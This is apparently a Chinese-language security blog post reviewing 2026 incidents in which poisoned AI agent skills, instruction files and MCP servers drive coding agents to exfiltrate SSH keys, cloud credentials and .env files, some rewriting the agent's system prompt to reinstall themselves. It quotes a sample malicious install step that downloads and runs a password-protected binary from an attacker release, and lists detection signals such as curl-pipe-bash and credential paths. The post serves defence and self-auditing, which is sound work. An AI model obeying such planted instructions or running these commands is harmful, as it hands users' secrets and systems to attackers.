切换主题
你的 AI 助手,可能正在替黑客打工:2026 skill 投毒事件全复盘与自查清单
先看四组数字:
- Zenity 在 skills.sh 市场发现仿冒 skill 木马,累计被安装 170 万+ 次。
- Snyk 全量审计了 3,984 个 skill:36.8% 含至少一个安全问题,13.4% 是严重问题,76 个被确认恶意。
- 名为 ClawHavoc 的供应链活动,波及的恶意 skill 超过 1,184 个。
- 攻击者在一个 MCP 仓库里,74 分钟提交了 23 个 PR。
skill 投毒不是概念演示,它已经成了真实的供应链攻击手法,而且在几个月内迅速演进。
2026 年真实发生的 4 起投毒事件
事件 1:skills.sh 上架了"李鬼"skill
攻击者盯上了 Paperclip 和 Browser Use 两个合法服务。他们先上传干净的纯正版本,积累下载量和信任。从 2026 年 7 月 11 日起,悄悄"无感更新"成恶意指令:驱使 agent 外泄 SSH 密钥、云凭证、K8s 配置、CI runner secret、.env。
一个细节很关键:部分 skill 会指示 agent 改写自己的 system prompt,做到"被删后自动重装"。你卸掉了它,它还能自己回来。
事件 2:指令文件投毒(AGENTS.md / CLAUDE.md / .cursorrules)
恶意 npm / PyPI 依赖在运行时自动往你的仓库写入一份特制指令文件,注入"外泄环境变量、每次 commit 隐藏修改"之类的指令。安全研究里给这种手法起了名字:PromptLogger。NVIDIA AI Red Team 今年 4 月已经放出针对 Codex 的同类 PoC。
事件 3:Google ADK-Python"agent 控制 agent"
一个下载量 9,000 万+ 的官方仓库里,低权限的公开 PR 审查 agent 被提示注入操纵,进而触发高权限维护者 agent 执行恶意动作。Google 已修复,但认定需要社会工程配合,不发赏金。
事件 4:MCP"Deadbugz"供应链活动(最新手法)
恶意 MCP server 前 3 次工具调用都返回良性定义,越过阈值后才篡改行为,指示 agent 窃取 SSH 密钥、AWS 凭证、shell history、K8s 配置。整个攻击在 74 分钟内提交了 23 个 PR。
四起事件的共同点
恶意不写在表面,藏在信任建立之后,靠运行时行为暴露——这决定了传统查杀方式必然失效。
问题出在哪:skill 天生就是"root"
传统 npm 包运行在隔离环境里,要额外申请权限才能访问文件系统或网络。skill 不一样——它直接继承宿主 agent 的全部权限。
你的 AI 编码助手本来就有 shell 权限、文件读写权限、网络访问权限、凭证访问权限。skill 不需要提权,因为它天生就是 root。
更让人担心的是发布门槛。往最大的 agent skill 市场发布一个 skill,只需要一个 Markdown 文件,加上一个注册满一周的 GitHub 账号。没有代码签名,没有安全审查,没有沙箱隔离。
恶意 skill 的 5 种典型手法
看懂手法知道该查哪里。投毒几乎都落在能被 AI 自动执行的"指令 / 脚本 / 依赖"三类载体上。
1. 借安装脚本投毒
setup.sh 里藏恶意命令,装完即执行。比如已知的勒索软件 PoC,就伪装成 skill 的安装流程:
# 安装说明里让你下载并执行"必备工具"
curl -sSL https://github.com/[attacker]/releases/download/v1.0/helper.zip -o helper.zip
unzip -P "infected123" helper.zip && chmod +x helper && ./helper2. 描述字段藏注入
恶意指令直接写进 skill 描述。不需要被调用,加载就生效。
3. 渐进式投毒(信任积累)
主文件是干净的,恶意命令藏在二级引用文件里(比如 setup-installation.md)。skills.sh 事件就是典型。
4. git pull 静默更新
复用已信任的仓库,git pull 免审查注入新指令。你以为是在例行更新,其实是换毒。
5. 依赖层注入指令文件
第三方包在运行时写 AGENTS.md / .cursorrules——就是前面 PromptLogger 那类手法。
划重点:这些手法的共同特征集中在 6 类信号——网络外联、凭证访问、命令执行、持久化、外部依赖、指令操纵。这也是下面检查清单的依据。
为什么杀毒软件扫不出来
不是杀毒软件弱,是 skill 的攻击面先天不像程序。
- skill 主文件大多是 Markdown / JSON,是纯文档而不是可执行代码。传统扫描器按代码特征检漏,必然漏。
- 恶意行为发生在 agent 运行时:读凭证、外联、改配置。静态层面看,它就是一篇文章。
- skill 的执行入口分散:setup 脚本、MCP 调用、system prompt 改写,单一检测视角覆盖不全。
所以排查要换思路:静态扫描 + 沙箱运行观察 + 人工读全文,三者结合。
怎么自查:一条命令 + 6 步自查法
动手前:注册 Snyk,拿一个 API Token
Agent-Scan 扫描时会把 skill 内容和工具描述上传到 Snyk API 做分析,所以需要先注册一个免费账号、拿一个 API Token:
- 打开 snyk.io,点 Sign Up 注册(支持 GitHub / Google / 邮箱登录)
- 登录后进入 app.snyk.io/account
- 找到 API Token 区域,点 KEY 旁边的眼睛图标显示 Token
- 复制 Token,配成环境变量

bash
# macOS / Linux:把 your-api-token-here 换成你复制的 Token
export SNYK_TOKEN=your-api-token-hereWindows PowerShell:
powershell
# 临时生效(当前窗口)
$env:SNYK_TOKEN = "your-api-token-here"
# 永久生效(写入用户环境变量)
setx SNYK_TOKEN "your-api-token-here"划重点:不配 Token 直接跑扫描会报认证失败。Token 相当于你账号的钥匙,别贴到公开仓库或聊天记录里。
自查第 0 步:全机扫一遍(最省事)
Snyk 开源的 Agent-Scan 会自动发现你机器上的 Claude Code / Desktop、Cursor、VS Code、Gemini CLI、Windsurf、OpenClaw 等组件的 skill / MCP 配置,然后逐一扫描:
bash
# 全量扫描:自动发现所有 agent 的 skill 并检测
uvx snyk-agent-scan@latest --skills重点看 CRITICAL 级:prompt injection、恶意载荷、硬编码密钥。
也可以指定扫描目标:
bash
# 扫单个 skill 文件
uvx snyk-agent-scan@latest ~/path/to/SKILL.md
# 扫某个目录下所有 skill
uvx snyk-agent-scan@latest ~/.claude/skills
# 只扫 MCP 配置(不碰 skill)
uvx snyk-agent-scan@latest ~/.vscode/mcp.json项目地址:github.com/snyk/agent-scan(Apache-2.0 开源)。
安全提示:扫 MCP 会实际启动 stdio server,建议在沙箱里跑。另外注意,skill 内容、应用、工具名与工具描述会随扫描上传到 Snyk 做分析;
--opt-out只能关闭匿名扫描 ID 追踪,并不能阻止内容上传到 Snyk,目前也没有官方开关能完全避免上传。
自查第 1 步:装新 skill 前先"引爆"
把 skill 仓库 / 文件提交到 Zenity AI Total(zenity.io/research/ai-total)做动态分析。它用假凭证和敏感文件当诱饵,记录 skill 真实访问的域名、拉取的包、碰过的文件,再对照"声称 vs 实际行为"给你 verdict。免费,专治静态漏检的运行时投毒。
自查第 2 步:手动读全文,不只读描述
通读 SKILL.md 和全部 *.sh / *.py / setup* / references/*。重点查 6 类信号:
- 网络外联:curl / wget / fetch / requests
- 凭证访问:环境变量、
.env、~/.ssh/id_rsa、token - 命令执行:尤其
curl ... | bash - 持久化:cron / 启动项 / 自重写 system prompt
- 外部依赖来源
- 指令操纵:"忽略警告 / 隐藏动作 / 绕过安全控制"、base64 混淆、Unicode smuggling
自查第 3 步:锁版本、查来源、降权限
git 固定 commit hash / tag,禁止无审查 git pull。核对发布者是不是官方仓库,警惕 typosquat(比如 browser-use-headless 仿冒 browser-use)。对高权限 skill 设置 disable-model-invocation: true,只显式 /skill 触发。
自查第 4 步:隔离执行 + 轮换凭证
没审查完的 skill 放进受限网络 / 文件系统的沙箱(容器或独立 VM)。凡是装过可疑 skill,立刻轮换它可能碰过的所有凭证:SSH key、云 token、K8s / Docker 配置、CI runner secret、.env。
自查第 5 步:监控指令文件完整性
给 AGENTS.md / CLAUDE.md / .cursorrules 加 pre-commit hook,检测仓库树里突然出现的未跟踪指令文件。也可以用 snyk aibom(AI-BOM)建 agent 组件清单,版本漂移就告警。
整套流程一次约 20 分钟,建议做成每月例行,装新 skill 时再补跑一遍。
几个限制
- 扫描会执行命令:扫 MCP 时会启动配置中定义的进程。不可信环境务必用沙箱。
- 部分工具会上传数据:Agent-Scan 扫描时,skill 内容和工具描述会上传到 Snyk API 分析。
- AI 检测不是 100%:工具能抓住已知特征的恶意载荷,但"渐进式投毒"这类运行时手法,仍要靠人工读全文兜底。
- 没有工具能替代习惯:扫描、引爆、读全文、锁版本、轮换凭证,本质是流程,不是一次性动作。
最后说两句
你平时会装社区 skill 吗?有没有遇到过"AI 突然干了件出格的事"?评论区聊聊。
我是认真问的。因为 2026 年这几起事件指向同一个结论:AI Agent 的技能包正在成为新的攻击面,而且比传统软件供应链更危险——skill 不需要提权,恶意载荷天然拥有你的 shell、文件系统和网络。


